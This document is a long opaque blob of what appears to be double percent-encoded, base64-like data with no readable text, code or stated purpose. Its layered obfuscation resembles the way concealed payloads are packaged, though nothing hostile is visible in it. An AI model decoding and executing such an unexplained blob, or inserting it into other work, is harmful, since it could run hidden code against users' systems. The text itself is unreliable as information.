%37%34%25%37%38%25%35%33%25%33%37%25%35%61%25%33%39%25%34%64%25%37%32%25%35%36%25%33%37%25%35%61%25%37%39%25%36%35%25%34%65%25%33%31%25%37%32%25%36%31%25%37%31%25%36%39%25%35%35%25%37%31%25%37%34%25%35%37%25%36%34%25%36%36%25%34%36%25%33%34%25%36%65%25%35%33%25%37%35%25%37%32%25%32%66%25%33%34%25%36%37%25%35%33%25%35%31%25%35%35%25%37%32%25%33%31%25%36%32%25%37%39%25%34%34%25%33%34%25%35%35%25%37%31%25%33%30%25%35%35%25%35%31%25%33%39%25%36%61%25%37%36%25%37%34%25%37%35%25%34%37%25%35%30%25%33%30%25%34%31%25%37%38%25%36%62%25%36%39%25%36%66%25%34%36%25%32%62%25%34%32%25%34%39%25%33%38%25%32%66%25%35%31%25%36%61%25%36%34%25%35%31%25%37%39%25%34%31%25%36%32%25%36%31%25%36%62%25%36%32%25%36%65%25%33%30%25%34%65%25%35%35%25%37%61%25%33%32%25%34%37%25%36%61%25%37%30%25%33%39%25%34%34%25%35%61%25%37%35%25%33%35%25%34%32%25%36%64%25%37%35%25%37%34%25%33%37%25%36%61%25%36%34%25%34%33%25%36%62%25%35%38%25%37%37%25%36%64%25%34%35%25%33%34%25%37%37%25%33%30%25%37%37%25%37%36%25%33%31%25%36%64%25%33%36%25%37%61%25%37%33%25%36%61%25%36%35%25%35%37%25%34%37%25%35%61%25%33%32%25%36%34%25%36%66%25%35%30%25%37%37%25%35%61%25%34%38%25%37%30%25%35%34%25%34%62%25%35%39%25%37%35%25%34%35%25%36%66%25%34%63%25%33%36%25%37%61%25%35%61%25%36%32%25%37%39%25%36%38%25%35%37%25%35%34%25%36%66%25%33%37%25%33%32%25%33%34%25%35%39%25%33%33%25%34%39%25%36%31%25%33%33%25%34%65%25%34%31%25%37%31%25%34%36%25%33%39%25%36%65%25%35%61%25%34%34%25%34%39%25%34%37%25%33%36%25%35%30%25%32%62%25%32%66%25%33%36%25%33%36%25%34%61%25%33%32%25%34%61%25%36%37%25%36%35%25%34%64%25%35%37%25%33%37%25%36%36%25%35%30%25%34%32%25%35%34%25%33%36%25%34%62%25%34%66%25%36%32%25%34%39%25%33%39%25%36%32%25%35%37%25%35%33%25%34%38%25%36%38%25%35%34%25%36%32%25%37%34%25%37%32%25%37%30%25%33%39%25%32%62%25%36%32%25%34%61%25%37%61%25%34%36%25%36%62%25%36%38%25%34%66%25%34%62%25%35%39%25%37%31%25%37%33%25%32%62%25%34%62%25%36%34%25%36%39%25%36%32%25%33%39%25%37%34%25%33%31%25%33%32%25%34%35%25%35%30%25%35%38%25%33%35%25%37%37%25%37%32%25%35%61%25%34%64%25%33%32%25%33%39%25%36%31%25%37%31%25%36%36%25%33%39%25%37%39%25%37%32%25%34%66%25%36%66%25%33%37%25%36%32%25%33%35%25%34%33%25%34%61%25%34%62%25%36%31%25%37%31%25%35%37%25%37%39%25%33%30%25%35%38%25%37%31%25%34%35%25%37%34%25%33%30%25%34%33%25%36%35%25%36%64%25%36%39%25%35%33%25%37%31%25%35%35%25%37%30%25%35%30%25%34%37%25%35%36%25%36%34%25%34%38%25%34%31%25%33%30%25%36%62%25%36%64%25%34%32%25%35%30%25%34%65%25%36%35%25%34%36%25%34%34%25%37%34%25%34%32%25%34%65%25%36%34%25%33%39%25%33%34%25%35%38%25%37%38%25%36%64%25%37%31%25%34%63%25%35%37%25%35%31%25%36%62%25%37%36%25%35%61%25%36%62%25%32%66%25%36%61%25%37%32%25%37%34%25%35%31%25%36%61%25%34%62%25%35%39%25%37%31%25%34%62%25%34%61%25%36%31%25%36%36%25%37%38%25%35%38%25%37%37%25%35%33%25%34%66%25%34%37%25%36%63%25%34%61%25%35%32%25%37%35%25%36%62%25%34%37%25%32%62%25%34%31%25%34%65%25%36%62%25%37%32%25%36%62%25%36%32%25%36%61%25%34%31%25%34%38%25%35%30%25%36%63%25%36%37%25%36%33%25%36%62%25%33%30%25%37%38%25%37%33%25%35%35%25%34%39%25%33%35%25%36%62%25%36%35%25%33%35%25%34%37%25%37%61%25%37%38%25%33%39%25%37%38%25%36%61%25%36%65%25%35%33%25%35%38%25%37%32%25%36%37%25%34%38%25%36%64%25%36%65%25%35%30%25%33%32%25%36%37%25%35%39%25%34%34%25%34%39%25%34%38%25%34%63%25%35%34%25%36%36%25%37%35%25%35%39%25%35%36%25%37%61%25%34%39%25%34%39%25%34%35%25%35%30%25%36%34%25%34%35%25%37%30%25%34%64%25%36%34%25%34%36%25%34%61%25%35%35%25%35%32%25%36%65%25%34%33%25%36%34%25%33%37%25%34%64%25%36%39%25%36%39%25%37%37%25%37%39%25%35%31%25%36%61%25%37%39%25%33%34%25%35%34%25%36%35%25%35%39%25%35%31%25%34%63%25%34%35%25%36%38%25%37%38%25%34%61%25%34%65%25%34%61%25%34%66%25%33%33%25%34%63%25%34%33%25%33%37%25%37%37%25%35%32%25%35%34%25%35%39%25%33%30%25%34%64%25%36%39%25%34%35%25%33%36%25%34%65%25%36%61%25%35%38%25%33%36%25%37%32%25%37%36%25%35%32%25%34%37%25%36%65%25%34%65%25%33%38%25%33%39%25%37%61%25%34%64%25%34%33%25%37%35%25%35%37%25%34%31%25%36%37%25%34%31%25%37%35%25%36%34%25%34%62%25%36%64%25%36%35%25%35%33%25%37%31%25%37%61%25%35%30%25%36%61%25%36%61%25%34%38%25%33%32%25%33%32%25%36%37%25%34%64%25%37%34%25%36%39%25%32%62%25%37%36%25%35%30%25%35%36%25%33%36%25%34%65%25%33%35%25%35%33%25%34%63%25%36%63%25%37%31%25%37%30%25%35%33%25%35%35%25%36%65%25%34%35%25%34%39%25%34%38%25%36%31%25%33%30%25%36%64%25%33%39%25%37%33%25%36%64%25%36%32%25%33%33%25%33%36%25%33%36%25%36%66%25%35%37%25%33%32%25%35%39%25%36%63%25%37%36%25%35%31%25%37%31%25%32%66%25%35%34%25%35%61%25%35%39%25%36%66%25%37%61%25%34%33%25%34%63%25%33%32%25%33%38%25%35%32%25%37%36%25%34%64%25%33%39%25%35%35%25%34%65%25%36%35%25%37%32%25%37%32%25%36%35%25%37%36%25%34%36%25%33%33%25%36%31%25%36%66%25%33%35%25%37%34%25%37%33%25%37%34%25%37%37%25%33%34%25%34%32%25%36%38%25%33%38%25%33%33%25%37%37%25%34%66%25%35%61%25%34%34%25%36%38%25%37%31%25%33%32%25%34%37%25%32%62%25%34%62%25%34%63%25%34%66%25%32%66%25%37%34%25%35%38%25%37%32%25%36%63%25%33%32%25%33%35%25%33%35%25%37%31%25%37%31%25%37%33%25%35%37%25%34%62%25%37%35%25%37%33%25%35%37%25%35%37%25%36%64%25%37%34%25%35%37%25%34%31%25%36%36%25%35%35%25%36%31%25%34%63%25%37%38%25%37%38%25%34%36%25%37%36%25%37%33%25%35%61%25%33%31%25%37%38%25%33%36%25%34%63%25%37%38%25%35%34%25%33%37%25%34%38%25%33%34%25%37%30%25%33%35%25%36%61%25%36%31%25%36%66%25%37%31%25%37%39%25%33%36%25%34%32%25%36%33%25%36%65%25%36%32%25%32%62%25%37%33%25%33%31%25%34%39%25%35%31%25%35%33%25%33%35%25%36%64%25%36%61%25%34%65%25%35%36%25%36%38%25%36%39%25%34%62%25%33%37%25%36%31%25%33%39%25%34%34%25%33%30%25%37%39%25%35%33%25%36%31%25%34%33%25%33%39%25%34%63%25%35%33%25%34%31%25%37%36%25%37%34%25%35%37%25%33%31%25%32%62%25%33%34%25%34%34%25%36%38%25%37%37%25%34%35%25%32%66%25%37%37%25%35%34%25%33%39%25%37%32%25%36%65%25%33%37%25%36%65%25%32%62%25%33%37%25%34%34%25%34%65%25%37%33%25%34%65%25%33%32%25%36%37%25%37%61%25%36%39%25%37%33%25%36%62%25%36%64%25%34%66%25%35%61%25%35%61%25%35%30%25%37%33%25%33%30%25%34%35%25%33%37%25%37%30%25%34%36%25%34%61%25%35%32%25%37%33%25%35%33%25%36%38%25%37%31%25%35%35%25%33%34%25%34%31%25%33%32%25%36%61%25%37%36%25%34%61%25%36%64%25%36%36%25%36%61%25%33%38%25%35%39%25%35%35%25%34%61%25%35%36%25%33%37%25%36%35%25%34%33%25%36%36%25%34%65%25%37%30%25%34%36%25%37%31%25%33%37%25%33%34%25%33%35%25%34%31%25%36%65%25%36%64%25%33%31%25%34%32%25%37%61%25%37%32%25%36%32%25%34%65%25%36%37%25%32%62%25%34%61%25%34%34%25%33%34%25%34%36%25%36%34%25%32%66%25%34%34%25%37%37%25%33%36%25%35%34%25%37%36%25%35%32%25%36%39%25%36%31%25%36%39%25%35%39%25%37%38%25%34%64%25%36%34%25%34%63%25%33%36%25%34%35%25%34%37%25%34%37%25%34%38%25%34%32%25%36%35%25%36%34%25%36%34%25%34%35%25%36%33%25%36%33%25%37%33%25%34%32%25%37%38%25%33%34%25%32%62%25%36%32%25%36%39%25%35%30%25%35%39%25%33%35%25%34%39%25%35%39%25%34%66%25%35%35%25%36%36%25%33%38%25%35%38%25%36%64%25%36%31%25%34%38%25%34%61%25%35%34%25%35%33%25%36%39%25%34%63%25%37%37%25%36%32%25%36%39%25%34%64%25%33%31%25%36%33%25%37%36%25%35%38%25%37%61%25%37%32%25%36%65%25%36%35%25%33%31%25%37%61%25%35%33%25%36%66%25%35%37%25%35%38%25%34%65%25%36%37%25%33%35%25%34%64%25%36%65%25%33%34%25%34%31%25%37%30%25%36%32%25%36%61%25%37%33%25%36%61%25%35%33%25%36%39%25%35%34%25%36%63%25%37%39%25%33%39%25%36%64%25%34%34%25%36%37%25%37%39%25%36%64%25%34%34%25%35%34%25%36%32%25%34%65%25%32%66%25%35%34%25%34%65%25%34%35%25%36%65%25%36%32%25%34%62%25%34%36%25%35%31%25%34%39%25%37%35%25%34%66%25%36%38%25%33%36%25%33%37%25%36%31%25%36%61%25%34%31%25%34%65%25%34%65%25%33%33%25%37%37%25%34%39%25%36%63%25%35%34%25%37%36%25%34%39%25%34%31%25%34%39%25%35%32%25%33%38%25%33%37%25%32%62%25%36%35%25%33%38%25%36%34%25%36%61%25%34%33%25%36%63%25%35%30%25%34%62%25%33%34%25%34%39%25%37%39%25%33%30%25%35%37%25%36%37%25%36%63%25%35%35%25%34%33%25%35%61%25%36%62%25%37%30%25%34%36%25%33%33%25%34%33%25%33%39%25%33%39%25%35%33%25%37%30%25%33%33%25%34%38%25%37%61%25%35%37%25%33%32%25%37%38%25%34%61%25%33%31%25%34%61%25%35%33%25%37%36%25%33%35%25%34%37%25%33%30%25%33%38%25%34%36%25%35%33%25%37%37%25%37%39%25%34%31%25%37%39%25%35%38%25%34%36%25%37%37%25%35%37%25%33%33%25%33%38%25%34%36%25%35%37%25%35%31%25%36%34%25%34%35%25%37%30%25%34%39%25%34%36%25%33%36%25%37%33%25%34%34%25%36%38%25%36%61%25%36%62%25%37%38%25%32%66%25%35%37%25%36%38%25%33%30%25%35%30%25%37%37%25%35%61%25%33%39%25%34%63%25%33%32%25%32%66%25%35%36%25%33%30%25%35%38%25%35%31%25%35%32%25%37%33%25%36%36%25%37%31%25%37%33%25%35%38%25%37%38%25%33%38%25%36%31%25%36%33%25%37%61%25%36%39%25%37%38%25%34%63%25%35%34%25%33%33%25%37%30%25%37%32%25%35%39%25%36%33%25%37%37%25%35%37%25%37%38%25%32%66%25%35%61%25%33%34%25%36%32%25%36%64%25%33%34%25%36%61%25%37%37%25%36%33%25%37%31%25%36%35%25%36%37%25%35%36%25%36%37%25%37%32%25%33%30%25%34%63%25%33%37%25%34%31%25%36%37%25%35%37%25%33%39%25%34%63%25%34%36%25%37%38%25%35%39%25%37%31%25%34%34%25%36%62%25%37%33%25%34%64%25%34%34%25%34%34%25%34%64%25%34%38%25%34%32%25%37%32%25%36%64%25%37%33%25%37%38%25%33%38%25%37%33%25%33%35%25%36%34%25%33%38%25%36%62%25%37%33%25%34%34%25%36%63%25%32%62%25%33%36%25%36%31%25%34%62%25%33%30%25%37%30%25%37%37%25%35%34%25%34%33%25%33%30%25%37%61%25%35%34%25%34%64%25%35%30%25%36%36%25%37%61%25%35%36%25%33%37%25%33%36%25%35%35%25%34%37%25%36%36%25%37%35%25%32%66%25%33%37%25%33%31%25%37%39%25%33%31%25%34%64%25%34%37%25%37%36%25%36%66%25%33%37%25%35%31%25%35%39%25%34%37%25%34%62%25%35%61%25%34%66%25%34%39%25%34%66%25%36%66%25%37%37%25%37%32%25%33%39%25%34%39%25%34%63%25%35%61%25%37%33%25%36%39%25%34%39%25%36%36%25%34%36%25%34%66%25%34%32%25%36%38%25%34%31%25%34%38%25%36%62%25%35%61%25%33%36%25%36%37%25%34%65%25%34%63%25%34%35%25%34%32%25%35%32%25%36%34%25%36%34%25%33%34%25%35%37%25%37%31%25%33%30%25%34%35%25%36%65%25%34%39%25%33%39%25%33%31%25%35%61%25%36%33%25%35%39%25%34%64%25%37%61%25%34%62%25%33%37%25%33%34%25%34%33%25%34%61%25%37%31%25%37%31%25%35%37%25%34%62%25%34%37%25%36%62%25%35%33%25%33%36%25%33%34%25%36%39%25%34%38%25%37%31%25%37%34%25%34%36%25%33%36%25%37%36%25%34%62%25%34%64%25%36%65%25%37%37%25%37%61%25%37%39%25%36%66%25%35%39%25%34%63%25%34%63%25%37%32%25%36%66%25%34%33%25%37%34%25%36%36%25%37%38%25%36%61%25%35%32%25%36%38%25%35%36%25%36%33%25%36%33%25%34%32%25%34%37%25%33%31%25%36%37%25%36%65%25%34%64%25%34%32%25%34%38%25%33%32%25%35%37%25%34%66%25%36%39%25%35%35%25%35%34%25%36%65%25%34%63%25%36%65%25%34%66%25%33%35%25%37%31%25%33%39%25%34%34%25%34%39%25%36%62%25%37%35%25%37%36%25%34%39%25%34%39%25%34%33%25%36%62%25%36%64%25%35%35%25%36%61%25%37%30%25%33%33%25%34%37%25%36%31%25%37%32%25%35%31%25%33%39%25%36%62%25%36%33%25%34%64%25%34%34%25%35%36%25%37%38%25%33%31%25%33%38%25%36%62%25%33%36%25%35%61%25%35%36%25%34%66%25%37%34%25%34%39%25%36%62%25%35%38%25%34%39%25%36%66%25%33%36%25%37%30%25%37%34%25%34%39%25%36%32%25%33%35%25%37%39%25%33%37%25%37%61%25%34%66%25%35%37%25%36%66%25%36%63%25%34%32%25%34%31%25%35%34%25%34%37%25%35%61%25%37%39%25%33%37%25%34%34%25%34%61%25%35%36%25%35%33%25%35%39%25%36%66%25%33%37%25%35%30%25%35%35%25%37%32%25%33%30%25%37%36%25%34%65%25%35%31%25%36%32%25%36%66%25%34%66%25%37%34%25%34%38%25%33%35%25%35%32%25%34%34%25%34%62%25%33%32%25%34%33%25%37%35%25%36%34%25%33%39%25%34%65%25%36%38%25%34%34%25%37%33%25%33%30%25%33%34%25%36%38%25%34%35%25%36%36%25%37%31%25%37%39%25%32%62%25%33%34%25%33%33%25%34%39%25%37%31%25%33%38%25%37%31%25%36%64%25%33%32%25%36%31%25%34%34%25%37%32%25%35%34%25%34%65%25%36%31%25%34%64%25%33%30%25%35%39%25%33%38%25%34%37%25%36%33%25%34%36%25%37%36%25%33%35%25%33%39%25%34%32%25%33%31%25%36%35%25%35%31%25%36%38%25%37%39%25%33%30%25%33%39%25%35%36%25%36%65%25%34%65%25%33%37%25%36%32%25%36%32%25%36%65%25%34%35%25%35%35%25%32%66%25%35%30%25%35%33%25%36%35%25%35%61%25%35%39%25%33%38%25%36%38%25%36%64%25%34%33%25%36%38%25%32%66%25%33%31%25%34%34%25%34%64%25%36%32%25%34%62%25%37%61%25%35%38%25%36%37%25%34%33%25%34%66%25%36%33%25%34%62%25%34%34%25%35%39%25%35%30%25%34%37%25%34%66%25%34%39%25%36%62%25%35%33%25%34%39%25%35%61%25%36%66%25%35%31%25%34%37%25%34%63%25%34%35%25%35%33%25%35%61%25%34%31%25%36%62%25%35%32%25%35%61%25%36%66%25%35%32%25%35%32%25%36%38%25%36%63%25%36%61%25%36%65%25%34%31%25%36%62%25%36%64%25%36%38%25%36%36%25%36%63%25%35%34%25%35%34%25%37%38%25%34%37%25%33%33%25%33%35%25%35%33%25%33%37%25%37%36%25%34%38%25%34%64%25%37%31%25%36%35%25%34%35%25%33%31%25%37%38%25%36%39%25%33%32%25%37%35%25%34%38%25%36%39%25%35%33%25%35%35%25%32%66%25%34%31%25%36%33%25%33%32%25%32%66%25%34%66%25%35%36%25%34%34%25%36%32%25%33%33%25%33%39%25%35%34%25%36%34%25%37%31%25%33%33%25%34%66%25%33%31%25%36%37%25%33%31%25%37%31%25%36%38%25%37%39%25%37%36%25%36%61%25%33%38%25%32%66%25%34%65%25%34%31%25%32%66%25%34%31%25%36%35%25%37%30%25%36%61%25%35%38%25%36%33%25%37%34%25%37%36%25%33%34%25%37%36%25%35%36%25%33%37%25%37%32%25%35%34%25%34%65%25%35%34%25%35%36%25%34%66%25%36%32%25%35%35%25%36%33%25%36%62%25%34%35%25%34%36%25%33%39%25%37%39%25%33%37%25%32%66%25%35%61%25%37%35%25%37%30%25%37%39%25%34%66%25%33%37%25%35%39%25%37%37%25%35%61%25%34%65%25%33%33%25%34%34%25%36%37%25%37%39%25%34%61%25%34%33%25%36%61%25%35%31%25%36%66%25%36%62%25%36%64%25%33%31%25%35%61%25%34%38%25%36%36%25%33%38%25%35%30%25%34%62%25%36%65%25%32%62%25%35%30%25%32%66%25%33%39%25%37%39%25%33%37%25%32%66%25%34%36%25%36%36%25%37%61%25%35%39%25%32%66%25%34%31%25%36%33%25%32%62%25%33%37%25%36%61%25%36%66%25%34%34%25%32%62%25%35%33%25%35%36%25%33%39%25%34%63%25%34%34%25%34%32%25%36%63%25%36%65%25%33%39%25%37%37%25%33%34%25%34%34%25%36%37%25%34%31%25%34%66%25%36%32%25%36%36%25%35%33%25%37%31%25%34%31%25%34%34%25%35%31%25%36%35%25%36%39%25%35%30%25%36%61%25%36%35%25%36%36%25%36%31%25%35%61%25%35%33%25%35%35%25%36%32%25%36%38%25%36%63%25%37%38%25%37%31%25%37%61%25%35%35%25%34%33%25%32%62%25%36%65%25%37%36%25%34%39%25%34%32%25%36%32%25%32%66%25%37%39%25%32%66%25%34%65%25%36%61%25%33%37%25%34%36%25%33%37%25%34%31%25%33%33%25%35%32%25%34%35%25%33%35%25%37%61%25%34%32%25%34%64%25%37%31%25%33%39%25%37%35%25%34%34%25%36%64%25%35%36%25%34%62%25%37%36%25%36%34%25%33%33%25%33%33%25%37%33%25%37%61%25%35%30%25%36%66%25%34%32%25%34%37%25%37%37%25%33%31%25%36%33%25%36%33%25%36%38%25%37%30%25%35%38%25%32%62%25%37%34%25%37%31%25%36%66%25%37%33%25%34%63%25%37%36%25%37%31%25%33%32%25%34%32%25%35%31%25%34%62%25%35%31%25%32%62%25%37%38%25%34%31%25%33%37%25%33%34%25%37%34%25%37%36%25%37%35%25%34%63%25%37%32%25%36%38%25%36%36%25%36%66%25%34%63%25%33%35%25%35%61%25%33%33%25%36%62%25%34%65%25%33%30%25%36%65%25%34%38%25%36%64%25%36%36%25%37%35%25%37%32%25%33%39%25%33%37%25%36%35%25%35%38%25%35%33%25%34%38%25%36%61%25%36%65%25%35%38%25%36%61%25%37%35%25%36%63%25%32%62%25%34%62%25%33%36%25%37%30%25%35%61%25%33%32%25%33%39%25%34%35%25%35%36%25%36%61%25%36%63%25%36%32%25%34%65%25%34%64%25%36%39%25%34%38%25%34%33%25%36%32%25%34%64%25%33%33%25%33%33%25%37%61%25%36%36%25%34%31%25%33%37%25%36%31%25%34%38%25%37%34%25%37%31%25%34%62%25%37%31%25%35%31%25%34%66%25%37%36%25%33%31%25%34%65%25%34%62%25%36%34%25%35%31%25%36%64%25%32%66%25%35%31%25%33%33%25%35%31%25%34%62%25%34%64%25%35%38%25%36%33%25%34%31%25%35%30%25%33%39%25%35%35%25%36%63%25%36%35%25%33%39%25%36%64%25%37%31%25%32%66%25%36%37%25%36%33%25%34%64%25%33%36%25%37%35%25%37%36%25%32%66%25%37%37%25%37%32%25%37%37%25%35%35%25%33%34%25%33%31%25%37%61%25%34%35%25%35%35%25%34%64%25%35%31%25%37%34%25%34%33%25%34%35%25%34%64%25%34%36%25%35%35%25%33%30%25%35%30%25%36%32%25%33%35%25%35%34%25%34%33%25%37%31%25%34%38%25%36%32%25%37%61%25%34%61%25%35%31%25%33%31%25%33%37%25%34%64%25%36%62%25%33%39%25%33%38%25%36%32%25%33%32%25%36%35%25%35%35%25%33%39%25%34%61%25%37%33%25%34%61%25%36%63%25%33%39%25%36%63%25%36%31%25%33%39%25%34%36%25%34%63%25%33%37%25%36%35%25%37%37%25%37%33%25%35%36%25%34%38%25%37%35%25%36%62%25%35%61%25%33%31%25%37%33%25%34%65%25%36%34%25%35%35%25%36%61%25%33%35%25%37%39%25%33%38%25%33%36%25%36%64%25%33%36%25%37%33%25%35%30%25%36%64%25%37%36%25%35%39%25%36%35%25%36%61%25%34%32%25%36%38%25%34%35%25%34%39%25%33%38%25%36%34%25%37%39%25%37%38%25%34%62%25%36%64%25%35%32%25%33%30%25%34%34%25%36%62%25%36%61%25%34%34%25%37%38%25%34%61%25%33%39%25%37%35%25%37%30%25%35%30%25%37%36%25%35%32%25%35%35%25%33%37%25%34%34%25%34%64%25%36%38%25%34%37%25%34%65%25%35%30%25%34%61%25%37%31%25%36%62%25%34%39%25%33%32%25%34%36%25%36%65%25%33%37%25%33%31%25%34%64%25%33%39%25%37%33%25%33%37%25%33%35%25%37%34%25%35%32%25%35%32%25%34%37%25%35%39%25%34%38%25%34%65%25%35%34%25%34%61%25%33%37%25%34%61%25%37%33%25%35%32%25%36%66%25%35%34%25%34%61%25%35%33%25%36%33%25%36%63%25%33%39%25%33%32%25%35%33%25%33%35%25%37%39%25%36%64%25%34%61%25%37%30%25%33%31%25%36%32%25%35%34%25%35%38%25%36%64%25%37%39%25%33%35%25%37%30%25%36%65%25%36%64%25%37%38%25%34%31%25%37%31%25%36%66%25%35%33%25%35%32%25%36%39%25%32%62%25%37%31%25%35%32%25%34%63%25%35%35%25%35%36%25%36%61%25%34%65%25%36%62%25%36%37%25%33%31%25%37%34%25%36%37%25%34%35%25%35%33%25%35%31%25%33%30%25%34%34%25%34%62%25%34%38%25%36%31%25%35%61%25%33%35%25%33%38%25%33%36%25%33%30%25%33%33%25%33%36%25%36%63%25%33%36%25%37%39%25%34%39%25%35%35%25%34%65%25%36%31%25%33%30%25%36%34%25%36%65%25%34%62%25%34%64%25%36%31%25%36%62%25%36%61%25%34%65%25%35%35%25%36%33%25%33%30%25%33%38%25%37%38%25%37%61%25%36%38%25%33%36%25%36%33%25%33%37%25%36%33%25%34%65%25%36%34%25%35%61%25%37%36%25%34%62%25%37%37%25%35%38%25%33%36%25%35%31%25%33%33%25%37%36%25%35%36%25%33%33%25%33%39%25%37%31%25%36%34%25%35%39%25%36%64%25%33%39%25%33%33%25%34%34%25%34%32%25%36%35%25%37%38%25%37%34%25%36%65%25%33%31%25%34%38%25%34%66%25%33%39%25%36%38%25%37%38%25%33%36%25%36%35%25%37%36%25%37%37%25%34%66%25%35%61%25%36%66%25%34%63%25%37%35%25%36%33%25%34%37%25%36%34%25%33%38%25%33%38%25%35%61%25%37%34%25%36%62%25%34%38%25%37%35%25%35%33%25%34%63%25%37%34%25%35%34%25%33%31%25%37%33%25%33%36%25%37%39%25%37%36%25%32%62%25%37%61%25%36%66%25%34%39%25%33%34%25%36%35%25%35%36%25%35%30%25%37%31%25%35%34%25%34%36%25%33%34%25%33%37%25%35%61%25%36%37%25%33%37%25%35%38%25%36%35%25%36%33%25%35%38%25%33%39%25%37%31%25%33%32%25%33%37%25%34%33%25%32%62%25%37%34%25%34%33%25%36%62%25%33%37%25%32%66%25%37%32%25%36%38%25%36%38%25%36%33%25%37%32%25%36%65%25%37%39%25%33%37%25%36%65%25%35%33%25%35%61%25%35%35%25%36%36%25%36%38%25%35%61%25%37%36%25%34%39%25%35%37%25%36%33%25%34%62%25%34%63%25%35%30%25%36%38%25%36%38%25%35%38%25%37%34%25%37%32%25%35%36%25%34%63%25%35%36%25%35%38%25%36%37%25%33%39%25%36%62%25%34%33%25%36%63%25%35%39%25%37%38%25%37%39%25%33%30%25%33%39%25%37%34%25%33%30%25%34%63%25%34%64%25%35%37%25%33%35%25%37%36%25%37%35%25%34%37%25%34%35%25%33%34%25%34%34%25%32%62%25%36%37%25%34%32%25%34%61%25%33%35%25%33%39%25%37%38%25%34%64%25%35%30%25%35%33%25%34%38%25%34%31%25%33%30%25%34%34%25%36%36%25%33%38%25%34%37%25%37%32%25%33%39%25%33%36%25%36%66%25%35%39%25%36%61%25%36%34%25%34%31%25%37%61%25%35%38%25%35%32%25%35%61%25%36%33%25%34%35%25%34%36%25%34%62%25%34%66%25%36%36%25%36%35%25%36%61%25%36%35%25%33%33%25%34%35%25%34%39%25%35%36%25%35%36%25%36%66%25%33%39%25%35%36%25%37%61%25%36%64%25%35%39%25%36%34%25%37%36%25%34%36%25%34%34%25%35%30%25%34%34%25%36%61%25%34%39%25%37%61%25%35%32%25%33%39%25%36%31%25%37%31%25%33%34%25%34%61%25%35%32%25%36%35%25%34%66%25%34%63%25%34%62%25%37%33%25%36%37%25%33%35%25%37%36%25%37%39%25%37%30%25%35%35%25%34%62%25%34%34%25%37%31%25%34%33%25%36%66%25%34%37%25%35%61%25%34%65%25%35%39%25%36%34%25%36%37%25%35%36%25%36%34%25%32%66%25%37%36%25%35%34%25%35%39%25%34%63%25%32%62%25%33%36%25%36%35%25%37%37%25%36%31%25%34%36%25%35%32%25%36%31%25%34%31%25%34%62%25%35%32%25%35%37%25%36%33%25%37%39%25%36%36%25%36%66%25%37%39%25%33%37%25%34%34%25%34%38%25%33%33%25%37%35%25%36%35%25%37%36%25%33%32%25%36%36%25%34%32%25%36%39%25%32%62%25%36%32%25%33%36%25%33%31%25%37%31%25%34%33%25%32%66%25%35%32%25%35%33%25%34%33%25%36%34%25%35%31%25%34%62%25%34%66%25%35%30%25%37%39%25%35%61%25%33%36%25%34%62%25%35%34%25%33%36%25%35%30%25%34%37%25%33%39%25%36%66%25%34%62%25%36%66%25%34%33%25%34%34%25%34%63%25%33%30%25%34%39%25%37%35%25%35%37%25%36%37%25%33%36%25%34%62%25%33%30%25%35%35%25%33%36%25%33%34%25%36%31%25%34%33%25%34%37%25%37%38%25%33%38%25%34%38%25%35%38%25%33%34%25%36%33%25%35%33%25%37%30%25%34%62%25%34%39%25%33%38%25%32%66%25%34%38%25%36%35%25%34%38%25%35%32%25%37%35%25%34%66%25%36%39%25%34%61%25%36%34%25%37%36%25%36%36%25%37%33%25%32%66%25%37%36%25%34%66%25%34%37%25%34%37%25%35%34%25%33%30%25%34%32%25%37%31%25%37%61%25%36%34%25%33%39%25%36%36%25%36%61%25%34%33%25%37%38%25%34%38%25%34%37%25%34%63%25%35%32%25%36%63%25%35%39%25%36%62%25%34%63%25%33%34%25%37%30%25%36%32%25%34%32%25%35%36%25%36%38%25%36%38%25%34%33%25%32%62%25%35%38%25%34%39%25%37%38%25%35%61%25%36%37%25%35%38%25%34%39%25%37%38%25%32%62%25%37%35%25%37%34%25%37%35%25%35%32%25%36%37%25%37%33%25%37%38%25%34%31%25%33%30%25%35%35%25%35%34%25%32%66%25%34%66%25%37%30%25%36%35%25%35%35%25%33%35%25%37%32%25%37%36%25%34%39%25%34%66%25%34%33%25%34%38%25%33%30%25%35%35%25%34%38%25%34%31%25%34%37%25%36%65%25%34%39%25%36%66%25%37%34%25%33%38%25%37%34%25%34%64%25%35%34%25%36%31%25%36%37%25%37%31%25%36%66%25%35%39%25%36%61%25%34%35%25%37%32%25%36%61%25%34%32%25%33%38%25%33%34%25%34%61%25%34%35%25%36%66%25%36%33%25%37%37%25%33%37%25%35%31%25%32%66%25%34%34%25%37%32%25%35%32%25%37%35%25%35%31%25%34%38%25%37%34%25%37%35%25%33%38%25%36%35%25%32%66%25%36%31%25%35%37%25%36%34%25%36%39%25%37%35%25%33%39%25%36%66%25%36%34%25%33%36%25%33%31%25%36%39%25%33%33%25%37%38%25%37%32%25%37%34%25%35%32%25%35%33%25%35%30%25%34%31%25%36%32%25%36%38%25%36%35%25%36%33%25%34%32%25%35%31%25%37%32%25%34%33%25%34%34%25%36%63%25%34%36%25%36%34%25%34%66%25%32%62%25%32%62%25%36%37%25%35%33%25%35%39%25%36%33%25%37%39%25%37%35%25%37%38%25%34%39%25%36%31%25%36%62%25%33%34%25%36%39%25%34%36%25%35%37%25%33%38%25%37%30%25%36%37%25%34%35%25%35%30%25%37%36%25%36%31%25%36%37%25%36%34%25%34%64%25%37%37%25%33%32%25%34%66%25%37%61%25%36%64%25%37%61%25%36%36%25%36%39%25%35%36%25%33%39%25%36%62%25%34%33%25%37%37%25%37%32%25%36%66%25%37%31%25%36%66%25%34%36%25%33%30%25%34%61%25%36%36%25%33%36%25%37%33%25%33%39%25%37%33%25%37%32%25%37%31%25%37%38%25%33%33%25%33%30%25%33%30%25%35%37%25%35%61%25%36%63%25%32%66%25%35%38%25%34%61%25%35%38%25%37%39%25%36%37%25%35%32%25%33%30%25%36%31%25%37%31%25%36%38%25%33%33%25%36%61%25%34%62%25%33%36%25%34%35%25%35%37%25%37%34%25%34%34%25%35%37%25%36%66%25%33%39%25%33%37%25%36%63%25%34%66%25%33%34%25%36%66%25%34%32%25%35%39%25%36%34%25%35%36%25%34%62%25%34%62%25%37%32%25%36%38%25%33%38%25%37%35%25%36%64%25%36%39%25%34%63%25%37%33%25%34%38%25%37%32%25%34%36%25%36%34%25%36%36%25%33%36%25%37%38%25%35%30%25%34%61%25%37%32%25%37%36%25%36%66%25%33%31%25%33%37%25%33%32%25%36%65%25%35%36%25%36%66%25%36%35%25%37%32%25%36%61%25%36%31%25%34%32%25%36%31%25%37%33%25%34%31%25%34%62%25%34%36%25%34%31%25%33%37%25%35%31%25%36%33%25